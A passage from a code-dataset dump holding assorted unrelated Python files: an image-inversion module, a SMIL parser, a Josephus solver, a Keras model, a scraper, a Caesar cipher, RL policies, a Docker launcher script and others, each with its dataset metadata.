\"InvertedRed\")\n\n self.wants_green_output = cps.Binary(\n \"Select %(YES)s to produce a green image.\"%globals(), True)\n\n self.green_output_image = cps.ImageNameProvider(\n \"Name the green image\", \"InvertedGreen\")\n\n self.wants_blue_output = cps.Binary(\n \"Select %(YES)s to produce a blue image.\"%globals(), True)\n\n self.blue_output_image = cps.ImageNameProvider(\n \"Name the blue image\", \"InvertedBlue\")\n\n self.color_output_image = cps.ImageNameProvider(\n \"Name the inverted color image\",\n \"InvertedColor\", doc = '''\n (Used only when producing a color output image)
    \n Enter a name for the inverted color image.''')\n\n def settings(self):\n '''Return the settings as saved in the pipeline'''\n return [self.input_color_choice,\n self.wants_red_input, self.red_input_image,\n self.wants_green_input, self.green_input_image,\n self.wants_blue_input, self.blue_input_image,\n self.color_input_image,\n self.output_color_choice,\n self.wants_red_output, self.red_output_image,\n self.wants_green_output, self.green_output_image,\n self.wants_blue_output, self.blue_output_image,\n self.color_output_image]\n def help_settings(self):\n return [self.input_color_choice,\n self.wants_red_input, self.red_input_image,\n self.wants_green_input, self.green_input_image,\n self.wants_blue_input, self.blue_input_image,\n self.color_input_image,\n self.output_color_choice,\n self.color_output_image,\n self.wants_red_output, self.red_output_image,\n self.wants_green_output, self.green_output_image,\n self.wants_blue_output, self.blue_output_image ]\n\n def visible_settings(self):\n '''Return the settings as displayed in the UI'''\n result = [self.input_color_choice]\n if self.input_color_choice == CC_GRAYSCALE:\n for wants_input, input_image in \\\n ((self.wants_red_input, self.red_input_image),\n (self.wants_green_input, self.green_input_image),\n (self.wants_blue_input, self.blue_input_image)):\n result += [wants_input]\n if wants_input.value:\n result += [input_image]\n else:\n result += [self.color_input_image]\n result += [self.output_color_choice]\n if self.output_color_choice == CC_GRAYSCALE:\n for wants_output, output_image in \\\n ((self.wants_red_output, self.red_output_image),\n (self.wants_green_output, self.green_output_image),\n (self.wants_blue_output, self.blue_output_image)):\n result += [wants_output]\n if wants_output.value:\n result += [output_image]\n else:\n result += [self.color_output_image]\n return result\n\n def validate_module(self, pipeline):\n '''Make sure the user has at least one of the grayscale boxes checked'''\n if (self.input_color_choice == CC_GRAYSCALE and\n (not self.wants_red_input.value) and\n (not self.wants_green_input.value) and\n (not self.wants_blue_input.value)):\n raise cps.ValidationError(\"You must supply at least one grayscale input\",\n self.wants_red_input)\n\n def run(self, workspace):\n image_set = workspace.image_set\n shape = None\n if self.input_color_choice == CC_GRAYSCALE:\n if self.wants_red_input.value:\n red_image = image_set.get_image(\n self.red_input_image.value,\n must_be_grayscale=True).pixel_data\n shape = red_image.shape\n else:\n red_image = 0\n if self.wants_green_input.value:\n green_image = image_set.get_image(\n self.green_input_image.value,\n must_be_grayscale=True).pixel_data\n shape = green_image.shape\n else:\n green_image = 0\n if self.wants_blue_input.value:\n blue_image = image_set.get_image(\n self.blue_input_image.value,\n must_be_grayscale=True).pixel_data\n shape = blue_image.shape\n else:\n blue_image = 0\n color_image = np.zeros((shape[0],shape[1],3))\n color_image[:,:,0] = red_image\n color_image[:,:,1] = green_image\n color_image[:,:,2] = blue_image\n red_image = color_image[:,:,0]\n green_image = color_image[:,:,1]\n blue_image = color_image[:,:,2]\n elif self.input_color_choice == CC_COLOR:\n color_image = image_set.get_image(\n self.color_input_image.value,\n must_be_color=True).pixel_data\n red_image = color_image[:,:,0]\n green_image = color_image[:,:,1]\n blue_image = color_image[:,:,2]\n else:\n raise ValueError(\"Unimplemented color choice: %s\" %\n self.input_color_choice.value)\n inverted_red = (1 - green_image) * (1 - blue_image)\n inverted_green = (1 - red_image) * (1 - blue_image)\n inverted_blue = (1 - red_image) * (1 - green_image)\n inverted_color = np.dstack((inverted_red, inverted_green, inverted_blue))\n if self.output_color_choice == CC_GRAYSCALE:\n for wants_output, output_image_name, output_image in \\\n ((self.wants_red_output, self.red_output_image, inverted_red),\n (self.wants_green_output, self.green_output_image, inverted_green),\n (self.wants_blue_output, self.blue_output_image, inverted_blue)):\n if wants_output.value:\n image = cpi.Image(output_image)\n image_set.add(output_image_name.value, image)\n elif self.output_color_choice == CC_COLOR:\n image = cpi.Image(inverted_color)\n image_set.add(self.color_output_image.value, image)\n else:\n raise ValueError(\"Unimplemented color choice: %s\" %\n self.output_color_choice.value)\n\n if self.show_window:\n workspace.display_data.color_image = color_image\n workspace.display_data.inverted_color = inverted_color\n\n\n def display(self, workspace, figure):\n figure.set_subplots((2, 1))\n color_image = workspace.display_data.color_image\n inverted_color = workspace.display_data.inverted_color\n figure.subplot_imshow(0, 0, color_image, \"Original image\")\n figure.subplot_imshow(1, 0, inverted_color, \"Color-inverted image\",\n sharexy = figure.subplot(0,0))\n\n def upgrade_settings(self, setting_values, variable_revision_number,\n module_name, from_matlab):\n if from_matlab and variable_revision_number == 1:\n setting_values = [\n CC_GRAYSCALE, # input_color_choice\n setting_values[0] != cps.NONE, # wants_red_input\n setting_values[0], # red_input_image\n setting_values[1] != cps.NONE,\n setting_values[1],\n setting_values[2] != cps.NONE,\n setting_values[2],\n cps.NONE, # color\n CC_GRAYSCALE, # output_color_choice\n setting_values[3] != cps.NONE,\n setting_values[3],\n setting_values[4] != cps.NONE,\n setting_values[4],\n setting_values[5] != cps.NONE,\n setting_values[5],\n 'InvertedColor']\n from_matlab = False\n variable_revision_number = 1\n\n return setting_values, variable_revision_number, from_matlab\n","sub_path":"cellprofiler/modules/invertforprinting.py","file_name":"invertforprinting.py","file_ext":"py","file_size_in_byte":10936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"284708933","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom xml.sax import make_parser\nfrom xml.sax.handler import ContentHandler\nfrom smallsmilhandler import SmallSMILHandler\nimport smallsmilhandler\nimport sys\nimport json\nfrom urllib.request import urlretrieve\n\n\nclass KaraokeLocal(SmallSMILHandler):\n\n def __init__(self, fich):\n parser = make_parser()\n cHandler = smallsmilhandler.SmallSMILHandler()\n parser.setContentHandler(cHandler)\n fich = open(sys.argv[1], 'r')\n parser.parse(fich)\n self.datos = cHandler.get_tags()\n\n def __str__(self):\n elem = ''\n for lista in self.datos:\n elem = lista[0]\n sublista = lista[1]\n for atributo in sublista:\n elem = elem + \"\\t\" + atributo + \"=\" + sublista[atributo] + \" \"\n print(elem + \"\\n\")\n return(elem)\n\n def to_json(self, fich, new_fich=\"\"):\n if new_fich == \"\":\n nf = fich[:fich.find('.')]\n else:\n nf = new_fich\n fich_json = open(nf + '.json', 'w')\n json.dump(self.datos, fich_json, sort_keys=True, indent=4, separators=(',', ':'))\n fich_json.close()\n\n def do_local(self):\n for lista in self.datos:\n sublista = lista[1]\n for atributo in sublista:\n if sublista[atributo][:7] == \"http://\":\n urlretrieve(sublista[atributo])\n print(sublista[atributo])\n url = sublista[atributo].split('/')\n sublista[atributo] = url[-1]\n print(sublista[atributo])\n\nif __name__ == \"__main__\":\n\n try:\n fich = sys.argv[1]\n karaoke = KaraokeLocal(fich)\n print(karaoke)\n karaoke.do_local()\n karaoke.to_json(fich)\n print(karaoke)\n\n except IndexError:\n sys.exit(\"Usage: python3 karaoke.py file.smil\")\n","sub_path":"karaoke.py","file_name":"karaoke.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"103995559","text":"__author__ = 'lenovo'\r\n\r\nclass LinkNode(object):\r\n def __init__(self,val):\r\n self.val = val\r\n self.next = None\r\n\r\nclass Link(object):\r\n def __init__(self):\r\n self.root = None\r\n\r\n def construct_tree(self,n):\r\n if n < 1:\r\n return None\r\n self.root = LinkNode(0)\r\n node = self.root\r\n for i in range(1,n):\r\n temp = LinkNode(i)\r\n node.next = temp\r\n node = temp\r\n node.next = self.root\r\n return self.root\r\n\r\ndef solution(node,n,m):\r\n while n:\r\n if n == 1:\r\n return node.val\r\n\r\n if m == 1:\r\n for _ in range(n-1):\r\n node = node.next\r\n return node.val\r\n\r\n for _ in range(m-2):\r\n node = node.next\r\n\r\n temp = node.next.next\r\n node.next = temp\r\n node = temp\r\n n -= 1\r\n\r\nif __name__ == \"__main__\":\r\n link = Link()\r\n n=50\r\n m=20\r\n print(solution(link.construct_tree(n),n,m)) #33\r\n n=4\r\n m=3\r\n print(solution(link.construct_tree(n),n,m)) #0\r\n n=1\r\n m=1\r\n print(solution(link.construct_tree(n),n,m)) #44","sub_path":"Python剑指Offer/046_圆圈中最后剩下的数字(约瑟夫环)/046.py","file_name":"046.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"394404431","text":"from keras.models import Sequential\nfrom keras.layers import LSTM, Dense, Activation, Dropout\n'''\ndef caption_model(word_num, hidden_num, max_length):\n\n ratio = 0.5\n\n embed_id = layers.Embedding\n LSTM = layers.LSTM\n Drop = layers.Dropout\n\n model = Sequential()\n\n model.add(embed_id(word_num, hidden_num))\n model.add(Drop(ratio))\n model.add(LSTM(hidden_num, input_shape = (hidden_num)))\n model.add(Drop(ratio))\n\n return model\n'''\n\ndef motion_model(TIME, JOINTNUM, HIDDEN_NUM):\n\n model = Sequential()\n\n model.add(LSTM(HIDDEN_NUM, input_shape = (TIME,JOINT_NUM)))\n model.add(Dropout(0.5))\n model.add(Dense(2048))\n model.add(Dropout(0.5))\n model.add(Activation('softmax'))\n\n model.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n model.summary()\n\n\n with open('motion_caption_model.json','w') as fp:\n json_string = model.to_json()\n fp.write(json_string)\n\n return model\n","sub_path":"motion_caption/src/motion_caption_model.py","file_name":"motion_caption_model.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"186168518","text":"import string, os, sys\r\n\r\nclass CodeGraph(object):\r\n\tdef __init__(self, \r\n\t\t\t\tresultsArray = [],\r\n\t\t\t\tfuncNameArray = [],\r\n\t\t\t\tfuncResDict = {},\r\n\t\t\t\toutputFileName = None,\r\n\t\t\t\tpath = None,\r\n\t\t\t\tsourcefiles = [],\r\n\t\t\t\t):\r\n\t\tsuper(CodeGraph, self).__init__()\r\n\t\t \r\n\t\tself.resultsArray = resultsArray\r\n\t\tself.funcNameArray = funcNameArray\r\n\t\tself.outputFileName = outputFileName\r\n\t\tself.funcResDict = funcResDict\r\n\t\tself.path = path\r\n\t\tself.sourcefiles = sourcefiles\r\n\r\n\r\n\tdef coverageOutputGather(self):\r\n\t\tfile = open(self.outputFileName, 'r')\r\n\t\tfor line in file:\r\n\t\t\tif '.py' in line[-4:]:\r\n\t\t\t\tself.funcNameArray.append(line[:-1])\r\n\t\t\tif 'result :' in line:\r\n\t\t\t\tself.resultsArray.append(line[-2:-1])\r\n\t\tprint(self.funcNameArray)\r\n\t\tprint(self.resultsArray)\t \r\n\t\t#return funcNameArray,resultsArray\r\n\t\t \r\n\tdef dot_to_png(self):\r\n\t\tfiles = os.listdir(self.path) \r\n\t\tfor f in files:\r\n\t\t\tif f[-3:]==\"dot\": \r\n\t\t\t\tinputname = os.path.realpath(f)\r\n\t\t\t\toutputname = inputname.replace(\".dot\", \".png\")\r\n\t\t\t\tos.system('c:\\Program Files (x86)\\Graphviz\\bin\\dot.exe -Tpng \"' + os.path.realpath(f) + '\" -o \"' + outputname + '\"')\r\n\t\t\t\r\n\tdef dot_to_svg(self): \r\n\t\tfor f in os.listdir(self.path):\r\n\t\t\tif f[-3:]==\"dot\": \r\n\t\t\t\tinputname = os.path.join(self.path, f)\r\n\t\t\t\toutputname = inputname.replace(\".dot\", \".svg\")\r\n\t\t\t\t#print('C:\\Graphviz\\bin\\dot.exe -Tsvg \"' + inputname + '\" -o \"' + outputname + '\"')\r\n\t\t\t\tos.system('C:\\\\Graphviz\\\\bin\\\\dot.exe -Tsvg \"' + inputname + '\" -o \"' + outputname + '\"')\r\n\t\t\t\t\r\n\t\t\t\r\n\t\t \r\n\tdef traceToDotConversion(self):\r\n\t\tfor f in os.listdir(self.path): \r\n\t\t\t#print(self.path)\r\n\t\t\tif f[-5:] == 'ftest':\r\n\t\t\t\t#outpath = os.path.realpath(f) + '\\\\codeGraph'\r\n\t\t\t\toutname = os.path.join(self.path,f.replace(\".ftest\", \".dot\"))\r\n\t\t\t\toutputfile = open(outname , 'w')\r\n\t\t\t\toutputfile.write('digraph { \\n')\r\n\t\t\t\tinputfile = open(os.path.join('codeGraph',f), 'r')\r\n\t\t\t\tflow = 0\r\n\t\t\t\toutline = ''\r\n\t\t\t\tresultIndex = -1\r\n\t\t\t\tfor line in inputfile: \r\n\t\t\t\t\tsubline = line[:4]\r\n\t\t\t\t\tresultIndex = -1\r\n\t\t\t\t\tif '---' in subline:\t\t\t\t\t\r\n\t\t\t\t\t\tfuncIndex = line.find('funcname:')\r\n\t\t\t\t\t\t#print (funcIndex)\r\n\t\t\t\t\t\tfuncName = line[funcIndex+10:-1]\r\n\t\t\t\t\t\t#resultIndex = self.funcNameArray.index(funcName)\r\n\t\t\t\t\t\t#print (funcName)\r\n\t\t\t\t\t\tmodIndex = line.find('modulename:')\r\n\t\t\t\t\t\t#print (funcIndex)\r\n\t\t\t\t\t\tmodName = line[modIndex+12:funcIndex-2]\r\n\t\t\t\t\t\t#print (modName)\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tif flow == 0:\r\n\t\t\t\t\t\t\tresultIndex = self.funcNameArray.index(funcName)\r\n\t\t\t\t\t\t\toutline = ' ' + funcName\r\n\t\t\t\t\t\t\tflow = 1\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\toutline = outline + ' -> ' + funcName\r\n\t\t\t\t\t\t\tif self.resultsArray[resultIndex] == 0:\r\n\t\t\t\t\t\t\t\toutline = outline + ' [color=green];\\n'\r\n\t\t\t\t\t\t\telif self.resultsArray[resultIndex] == 1:\r\n\t\t\t\t\t\t\t\toutline = outline + ' [color=red];\\n'\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\toutline = outline + ' [color=orange];\\n'\r\n\t\t\t\t\t\t\t#for mod in range(0,len(self.sourcefiles)):\r\n\t\t\t\t\t\t\t#\tif modName in self.sourcefiles[mod]:\r\n\t\t\t\t\t\t\toutputfile.write(outline)\r\n\t\t\t\t\t\t\toutline = ' ' + funcName\r\n\t\t\t\toutputfile.write('}')\r\n\t\t\t\toutputfile.close()\r\n\t\t\t\t\r\n\t\t\t\r\n","sub_path":"pTarantula/codeGraph.py","file_name":"codeGraph.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"464578410","text":"\n# coding: utf-8\n\n# In[60]:\n\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas\n\n\nbaseUrl=\"http://sh.ziroom.com/z/nl/z2.html\"\nheaders={\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'\n}\n\ndef getHouse(url):\n try:\n house={}\n res=requests.get(url,headers=headers)\n soup=BeautifulSoup(res.text,'html.parser')\n title=soup.select(\".room_name h2\")[0].text.strip()\n address=soup.select(\"div[class='room_name'] span[class='ellipsis']\")[0].text.strip().replace(\" \",\"\").replace(\"\\n\",\"\")\n #price=soup.select(\"span[class='room_price']\")[0].text\n area=soup.select(\"ul[class='detail_room'] li\")[0].text.replace(\" \",\"\")[4:-1]\n face=soup.select(\"ul[class='detail_room'] li\")[1].text[4:]\n type=soup.select(\"ul[class='detail_room'] li\")[2].text.replace(\" \",\"\")[3:-3]\n floor=soup.select(\"ul[class='detail_room'] li\")[3].text[4:]\n around=soup.select(\"div[class='aboutRoom gray-6'] p\")[0].text[3:]\n traffic=soup.select(\"div[class='aboutRoom gray-6'] p\")[1].text[3:-1]\n house[\"标题\"]=title\n house[\"地址\"]=address\n #house[\"价格\"]=price\n house[\"面积\"]=area\n house[\"朝向\"]=face\n house[\"户型\"]=type\n house[\"楼层\"]=floor\n house[\"周边\"]=around\n house[\"交通\"]=traffic\n house[\"网址\"]=url\n return house\n except:\n print(\"error\")\n\ndef getHouses(start,end):\n houses=[]\n for j in range(start,end+1):\n print(\"开始爬取第\"+str(j)+\"页数据\")\n res=requests.get(\"http://sh.ziroom.com/z/nl/z2.html?p=\"+str(j),headers=headers)\n soup=BeautifulSoup(res.text,'html.parser')\n urls=soup.select(\"#houseList h3 a\")\n i=1\n for url in urls:\n print(\"开始爬取第\"+str(i)+\"条数据\")\n print(\"http:\"+url[\"href\"])\n houses.append(getHouse(\"http:\"+url[\"href\"]))\n print(\"爬取结束\")\n print(\"-\"*50)\n i+=1\n return houses\n\nprint(\"start\")\ndf=pandas.DataFrame(getHouses(1,50))\ndf.to_excel(\"d:/ziroom.xlsx\")\nprint(\"end\")\n\n","sub_path":"HLTH Speaker Webscripting/ziroom.py","file_name":"ziroom.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"94416289","text":"import json\r\nfrom urllib import request\r\nimport time\r\n\r\ndef encrypt(text,offset):\r\n result = []\r\n for i in list(text):\r\n result.append(chr(ord(i) + offset))\r\n return \"\".join(result)\r\n\r\ndef task_1():\r\n print(\"以下是任务一：凯撒加密\")\r\n str_input = input(\"请输入加密内容：\\n\")\r\n while True:\r\n if len(str_input) == 0:\r\n str_input = input(\"哥们，输入点东西呗~\")\r\n else:\r\n break\r\n\r\n print(\"请输入偏移量，默认为3（不输入使用默认，支持输入正负整数，输入0就没什么意思了）\")\r\n offset = 3\r\n while True:\r\n try:\r\n str_offset = input()\r\n if len(str_offset) != 0:\r\n offset = int(str_offset)\r\n break\r\n except Exception as e:\r\n print(\"输入整数，亲~\", e)\r\n print(\"经过加密，输出为：\", encrypt(str_input, offset))\r\n\r\ndef task_1_add():\r\n print(\"解密什么的，在原基础上修改偏移量正负数就好了 ^_^!\")\r\n\r\ndownload_progress = 0\r\ndef download_callback(blocknum, blocksize, totalsize):\r\n global download_progress\r\n download_now = (blocknum * blocksize * 10) / totalsize\r\n download_now = int(download_now)\r\n if download_now > download_progress:\r\n download_progress = download_now\r\n print(\"=\",end=\"\")\r\n if download_now == 10:\r\n print(\">\")\r\n\r\ndef task_2():\r\n #————关于Bing的每日一图，网上已经提供了接口，就不用抓包了————\r\n print(\"任务二：下载Bing的每日一图~~\") #使用自带的urllib就不用安装依赖了，虽然使用起来麻烦\r\n save_name = input(\"请输入图片名字，不使用则使用默认名字\\n\")\r\n if len(save_name) == 0:\r\n str_time = time.strftime(\"%Y-%m-%d\", time.localtime())\r\n save_name = \"Bing每日一图 \" + str_time + \".jpg\"\r\n elif not save_name.endswith(\"jpg\"):\r\n save_name = save_name + \".jpg\"\r\n\r\n print(\"下载中……\")\r\n\r\n\r\n json_url = \"https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1\"\r\n photo_url = \"https://cn.bing.com/th?id=OHR.Matamata_ZH-CN8111830275_1920x1080.jpg&rf=LaDigue_1920x1080.jpg&pid=hp\"\r\n\r\n while True:\r\n try:\r\n request.urlretrieve(photo_url, \"./\" + save_name, download_callback)\r\n\r\n data = request.urlopen(json_url).read()\r\n json_data = data.decode('utf-8')\r\n json_data = json.loads(json_data)\r\n break\r\n except Exception as e:\r\n print(\"下载失败！\")\r\n input(\"按任意键重试\")\r\n\r\n print(json_data[\"images\"][0][\"copyright\"])\r\n\r\nprint(\"这是后台第一轮考核的程序\")\r\ntask_1()\r\ntask_1_add()\r\nprint()\r\ntask_2()\r\nprint(\"任务结束~~~\")","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"559194253","text":"def get_policy(args, n_actions, rng):\n if args.policy_type == \"one_action\":\n return OneAction(args.action)\n elif args.policy_type == \"random_policy\":\n return RandomPolicy(n_actions, rng)\n elif args.policy_type == \"epsilon_greedy\":\n return EpsilonGreedy(n_actions, args.epsilon_start, args.epsilon_decay, args.epsilon_min, rng)\n else:\n raise ValueError(\"Unrecognized policy_type: {}\".format(args.policy_type))\n\n\nclass GreedyPolicy:\n @staticmethod\n def get_action(state, model):\n return model.get_output(state).argmax()\n\n\nclass EpsilonGreedy:\n def __init__(self, n_actions, epsilon_start, epsilon_decay, epsilon_min, rng):\n self.n_actions = n_actions\n self.epsilon_start = epsilon_start\n self.epsilon = self.epsilon_start\n self.epsilon_decay = epsilon_decay\n self.epsilon_min = epsilon_min\n if epsilon_decay != 0:\n self.epsilon_rate = (self.epsilon_start - self.epsilon_min) / self.epsilon_decay\n else:\n # epsilon = const\n self.epsilon_rate = 0\n\n self.rng = rng\n\n def get_action(self, state, model):\n if self.rng.rand() < self.epsilon:\n action = self.rng.randint(0, self.n_actions)\n else:\n action = model.get_output(state).argmax()\n self._decay()\n return action\n\n def _decay(self):\n self.epsilon = max(self.epsilon_min, self.epsilon - self.epsilon_rate)\n\n\nclass RandomPolicy:\n def __init__(self, n_actions, rng):\n self.n_actions = n_actions\n self.rng = rng\n\n def get_action(self, *args):\n return self.rng.randint(0, self.n_actions)\n\n\nclass OneAction:\n def __init__(self, action):\n self.action = action\n\n def get_action(self, *args):\n return self.action\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"rl/policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"59357808","text":"import sqlite3\n\nconexion=sqlite3.connect(\"usuarios_autoincrement.db\")\ncursor=conexion.cursor()\n\ncursor.execute(\"\"\"\n SELECT * FROM usuarios WHERE edad=11\n \"\"\")\n#usuario=cursor.fetchone()\n#print(usuario)\n\nusuarios=cursor.fetchall()\nprint(usuarios)\n\nconexion.commit()\nconexion.close()\n","sub_path":"Fase 4 - Temas avanzados/Tema 14 - Bases de datos con SQLite/leccion3.py","file_name":"leccion3.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"44298988","text":"from plug_nozzle_angelino import plug_nozzle\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport aerospike_optimizer as ao \nimport gasdynamics as gd \nfrom scipy import interpolate\n\nr_e = 0.027 \nT_w = 600\nalpha = 1\nbeta = 1\ntruncate_ratio_init = 0.2\ndesign_alt_init = 9144 # 30 % greater\n\ntry:\n\topt_aero = ao.aerospike_optimizer(r_e,T_w,alpha,beta,design_alt_init,truncate_ratio_init,chr_mesh_n=120,no_alt_range = 30,no_core=1)\nexcept:\n\tpass\n#design diverging section, 20% truncation\n\nplug1 = opt_aero.spike_init\n\nplug1.define_compression(1.15/1000,4.51/1000,1,12.91/1000,10000)\n\nprint('Thrust = ' + str(plug1.calc_ideal_thrust(gd.standard_atmosphere([9144])[0])))\nprint('Throat area = ' + str(plug1.A_t))\nprint('Expansion ratio = ' + str(plug1.expansion_ratio))\n#plug1.plot_contour(plt)\n#plt.axis('equal')\n\n\ntck = interpolate.splrep(plug1.x,plug1.y)\n\n\nplt.plot(plug1.x,plug1.y,plug1.x,interpolate.splev(plug1.x,tck),'ro')\n\ninit_angle = np.arctan(interpolate.splev(plug1.x[0],tck,der=1))\n\nprint(\"inital angle: \" + str(init_angle*180/np.pi))\nplt.show()\n\nplug1.save_to_csv()\n","sub_path":"angelinoNozzle_py/test_plug_code.py","file_name":"test_plug_code.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"307746458","text":"#############################################################################\n#\n# PostgreSQL Enterprise Manager\n#\n# Copyright (C) 2015 - 2016, EnterpriseDB Corporation. All rights reserved.\n#\n# docker_agent.py - check status of cluster , ssh and scp function are \n# defined.\n#\n#############################################################################\n\n\nimport subprocess,config\nimport os,config\nfrom check_status import ssh_execute\n\n\n\ndef docker_agent(no_agent):\n\ttry:\n\t\tif ssh_execute(\"sudo systemctl start docker\" ) == 0:\n\t\t\tif ssh_execute(\"sudo docker build -t 'pem_agent' .\" ) == 0:\n\t\t\t\tif ssh_execute(\"sudo sh doc_agentlaunch.sh \"+str(config.FLOATING_IP)+\" centos 5432 pem_agent \"+str(no_agent) ) == 0:\n\t\t\t\t# if ssh_execute(\"sudo sh doc_agentlaunch.sh 172.16.253.230 centos 5432 pem_agent \"+str(no_agent) ) == 0:\n\t\t\t\t\tprint(\"Successfully build the dockker conatiner\")\n\t\t\t\t\treturn 0\n\n\texcept Exception as e:\n\t\tprint(\"Docker agent failed: {0}\".format(str(e)))\n\t\treturn 1\n\n\n\nif __name__ == '__main__':\n\tdocker_agent(config.NO_AGNET_CONTAINER)\n\n\n","sub_path":"openstack/docker_agent.py","file_name":"docker_agent.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"535784160","text":"#! /usr/bin/python\n###########################################################################\n# Copyright (C) 2018 Phani Vadrevu #\n# phani@cs.uno.edu #\n# #\n# Distributed under the GNU Public License #\n# http://www.gnu.org/licenses/gpl.txt #\n# #\n# This program is free software; you can redistribute it and/or modify #\n# it under the terms of the GNU General Public License as published by #\n# the Free Software Foundation; either version 2 of the License, or #\n# (at your option) any later version. #\n# #\n###########################################################################\nimport os\nHOME = os.getenv('HOME')\nCHROME_BINARY_PATH = os.path.join (HOME, \"chrome_binary/\") # The path of the binary\nMAIN_LOG_PATH = os.path.join(HOME, \"se-hunter/logs/\")\nSCREENSHOTS_DIR = \"screenshots\"\nSEHUNTER_LOGS_DIR = \"sehunter_logs\"\nJSGRAPH_LOGS_DIR = \"jsgraph_logs\"\nCHROMEDRIVER_LOGS_DIR = \"chromedriver_logs\"\nCHROMEDATA_DIR = \"chrome_data\"\nDOWNLOADS_DIR = \"downloads\"\nRAW_DOWNLOADS_DIR = \"downloads/raw\"\nHTML_LOGS_DIR = \"html_logs\"\nAD_OBJECTS_DIR = \"ads\"\nAD_CHAIN_PROCESS_LOG = 'ad_chain_process.log'\n\nFILE_SERVER = \"uname@server\"\nFILE_SERVER_RESIDENTIAL = \"uname@server\"\n\nRESIDENTIAL_SEEDS = ['apu_php.txt']\nRES_JOBS_FILE = \"residential_list.txt\"\nNONRES_JOBS_FILE = \"non_residential_list.txt\"\n\nOBSOLETE_PROCESS_AGE = 100 # Kill orphan processes older than x seconds.\n\nMIN_CHROME_DEBUG_PORT = 10000\nMAX_CHROME_DEBUG_PORT = 40000\n\nUSER_AGENTS = {\n # Emulate a 1920x1080 (1785,993) desktop; Other variant: 1440x900 (1375,738-win_size_cmd)\n \"chrome_mac\": {\n \"user_agent\": ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'),\n \"window_size_cmd\": (1785, 993),\n \"device_size\": (1920, 1080),\n \"device_scale_factor\": 1,\n \"mobile\": False,\n },\n\n \"ie_win\": {\n \"user_agent\": ('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'),\n \"window_size_cmd\": (1785, 993),\n \"device_size\": (1920, 1080),\n \"device_scale_factor\": 1,\n \"mobile\": False,\n\n },\n\n \"edge_win\": {\n \"user_agent\": ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '\n '(KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'),\n \"window_size_cmd\": (1785, 993),\n \"device_size\": (1920, 1080),\n \"device_scale_factor\": 1,\n \"mobile\": False,\n },\n\n # Samsung Galaxy S9 Plus; personal test: win size: (412, 718); 1440 * 2960 is the screen size;\n # win size From: https://mediag.com/news/popular-screen-resolutions-designing-for-all/ (360, 740)\n # Also here: https://www.mydevice.io/#compare-devices\n \"chrome_android\": {\n \"user_agent\": ('Mozilla/5.0 (Linux; Android 8.0.0; SM-G965F Build/R16NW) AppleWebKit/537.36 '\n '(KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36'),\n \"window_size_cmd\": (360, 740),\n #\"device_size\": (1440, 2960),\n \"device_size\": (360, 740),\n \"device_scale_factor\": 4,\n \"mobile\": True,\n\n }\n\n}\n","sub_path":"code/crawling/log_parsing/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"370681066","text":"from SimpleCV import Camera, Display, Image, Color\n\n\ndef checkCircle(img, color):\n\n yellowDist = img.colorDistance(color)\n yellowBin = yellowDist.binarize(50)\n\n circles = yellowBin.findCircle(canny = 10, thresh = 10, distance = 15)\n\n #yellowBin.show()\n\n if not circles:\n return False\n else:\n return True\n\nimg = Image('1.png')\n\n\ndist = img.colorDistance((161, 171, 182))\nbina = dist.binarize()\nmorphed = bina.morphOpen()\n\ninv = bina.invert()\n\nb = morphed.findBlobs()\nobj = b[0].blobImage()\n\nd = obj.show()\n\n#d = bina.morphOpen().show()\n\n#holes = inv.findBlobs()\n\n'''\nholes = img.findBlobs()\n\ni = 1\nfor hole in holes:\n print(str(i))\n if hole.isCircle(0.41):\n print('Hole found!')\n d = hole.hullImage().show()\n i += 1\n\nprint(holes)\n'''\n\n#print(holes[0].isCircle(0.41))\n\n#d = holes[0].hullImage().show()\n\n'''\n#d = holes[0].hullImage().show()\n\nd = holes[0].getFullMaskedImage().show()\nd = (inv - 